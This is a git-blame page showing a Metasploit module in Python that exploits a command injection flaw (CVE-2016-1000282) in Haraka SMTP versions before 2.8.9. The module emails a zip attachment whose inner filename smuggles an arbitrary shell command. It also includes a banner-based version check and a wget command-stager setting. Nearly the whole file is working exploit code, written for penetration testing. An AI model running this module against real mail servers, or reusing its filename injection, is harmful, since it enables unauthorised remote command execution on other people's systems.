Files
metasploit-gs/modules/exploits/linux/smtp/haraka.py
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

191 lines
5.5 KiB
Python
Raw Normal View History

2021-05-17 17:04:49 +01:00
#!/usr/bin/env python3
2017-03-31 17:07:55 -05:00
# Vendor Homepage: https://haraka.github.io/
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# Thanks to: Dexlab.nl for asking me to look at Haraka.
import smtplib
2018-05-11 12:44:15 -05:00
import re
2017-03-31 17:07:55 -05:00
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import zipfile
2024-03-30 17:56:49 +03:00
2019-11-01 19:20:22 -07:00
try:
# Python 2 plain strings are bytes
from StringIO import StringIO as BytesIO
except ImportError:
from io import BytesIO
2017-04-01 06:25:51 -05:00
from metasploit import module
from metasploit.version import StrictVersion
2017-03-31 17:07:55 -05:00
metadata = {
2024-03-30 17:56:49 +03:00
"name": "Haraka SMTP Command Injection",
"description": """
2017-03-31 17:07:55 -05:00
The Haraka SMTP server comes with a plugin for processing attachments.
Versions before 2.8.9 can be vulnerable to command injection
2024-03-30 17:56:49 +03:00
""",
"authors": [
"xychix <xychix[AT]hotmail.com>",
"smfreegard",
"Adam Cammack <adam_cammack[AT]rapid7.com>",
],
"date": "2017-01-26",
"references": [
{"type": "cve", "ref": "2016-1000282"},
{"type": "edb", "ref": "41162"},
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
2018-06-19 11:38:38 -05:00
],
2024-03-30 17:56:49 +03:00
"type": "remote_exploit_cmd_stager",
"rank": "excellent",
"wfsdelay": 5,
"privileged": True,
"targets": [
{"platform": "linux", "arch": "x64"},
{"platform": "linux", "arch": "x86"},
2017-03-31 17:07:55 -05:00
],
2024-03-30 17:56:49 +03:00
"payload": {"command_stager_flavor": "wget"},
"options": {
"email_to": {
"type": "string",
"description": "Email to send to, must be accepted by the server",
"required": True,
"default": "admin@localhost",
},
"email_from": {
"type": "string",
"description": "Address to send from",
"required": True,
"default": "foo@example.com",
},
"rhost": {
"type": "address",
"description": "Target server",
"required": True,
"default": None,
},
"rport": {
"type": "port",
"description": "Target server port",
"required": True,
"default": 25,
},
"command": {
"type": "string",
"description": "Command to run on the target",
"required": True,
"default": "/bin/echo hello",
},
2017-05-08 14:26:24 -05:00
},
2024-03-30 17:56:49 +03:00
"notes": {"AKA": ["Harakiri"]},
}
2017-03-31 17:07:55 -05:00
2017-03-31 17:07:55 -05:00
def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart()
html = "harakiri"
2024-03-30 17:56:49 +03:00
msg["Subject"] = "harakiri"
msg["From"] = mfrom
msg["To"] = to
2017-03-31 17:07:55 -05:00
msg.attach(MIMEText(html))
2024-03-30 17:56:49 +03:00
module.log(
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
% (to, cmd, mailserver),
"debug",
)
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
2017-03-31 17:07:55 -05:00
msg.attach(part)
2017-04-01 06:25:51 -05:00
module.log("Sending mail to target server...")
2024-03-30 17:56:49 +03:00
module.log(msg.as_string(), "debug")
2017-03-31 17:07:55 -05:00
s = smtplib.SMTP(mailserver, port)
try:
2024-03-30 17:56:49 +03:00
resp = s.sendmail(mfrom, to, msg.as_string())
2017-04-17 11:14:51 -06:00
except smtplib.SMTPDataError as err:
2024-03-30 17:56:49 +03:00
if err[0] == 450:
module.log("Triggered bug in target server (%s)" % err[1], "good")
s.close()
return True
module.log("Bug not triggered in target server", "error")
module.log(
"it may not be vulnerable or have the attachment plugin activated", "error"
)
2017-03-31 17:07:55 -05:00
s.close()
2024-03-30 17:56:49 +03:00
return False
2017-03-31 17:07:55 -05:00
2017-03-31 17:07:55 -05:00
class InMemoryZip(object):
def __init__(self):
2019-11-01 19:20:22 -07:00
self.in_memory_zip = BytesIO()
2024-03-30 17:56:49 +03:00
2017-03-31 17:07:55 -05:00
def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self
2024-03-30 17:56:49 +03:00
2017-03-31 17:07:55 -05:00
def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
2017-03-31 17:07:55 -05:00
def create_zip(cmd="touch /tmp/harakiri"):
z1 = InMemoryZip()
z2 = InMemoryZip()
2024-03-30 17:56:49 +03:00
z2.append(
"harakiri.txt",
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
)
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
return z1.read()
2017-03-31 17:07:55 -05:00
2018-05-11 12:44:15 -05:00
def check_banner(args):
2024-03-30 17:56:49 +03:00
module.log(
"{}:{} Starting banner check for Haraka < 2.8.9".format(
args["rhost"], args["rport"]
),
level="debug",
)
2018-05-11 12:44:15 -05:00
c = smtplib.SMTP()
try:
2024-03-30 17:56:49 +03:00
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
except:
2024-03-30 17:56:49 +03:00
return "unknown"
2018-05-11 12:44:15 -05:00
c.quit()
2024-03-30 17:56:49 +03:00
if code == 220 and "Haraka" in banner:
versions = re.findall(r"(\d+\.\d+\.\d+)", banner)
2018-05-11 12:44:15 -05:00
if versions:
2024-03-30 17:56:49 +03:00
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
return "appears"
2018-05-11 12:44:15 -05:00
else:
2024-03-30 17:56:49 +03:00
return "safe"
2018-05-11 12:44:15 -05:00
else:
2024-03-30 17:56:49 +03:00
return "detected"
2018-05-11 12:44:15 -05:00
elif code == 220:
2024-03-30 17:56:49 +03:00
return "detected"
2018-05-11 12:44:15 -05:00
else:
2024-03-30 17:56:49 +03:00
return "unknown"
2018-05-11 12:44:15 -05:00
2017-04-01 06:25:51 -05:00
def exploit(args):
2024-03-30 17:56:49 +03:00
send_mail(
args["email_to"],
args["rhost"],
args["command"],
args["email_from"],
int(args["rport"]),
)
2017-04-01 06:25:51 -05:00
2024-03-30 17:56:49 +03:00
if __name__ == "__main__":
2018-05-11 12:44:15 -05:00
module.run(metadata, exploit, soft_check=check_banner)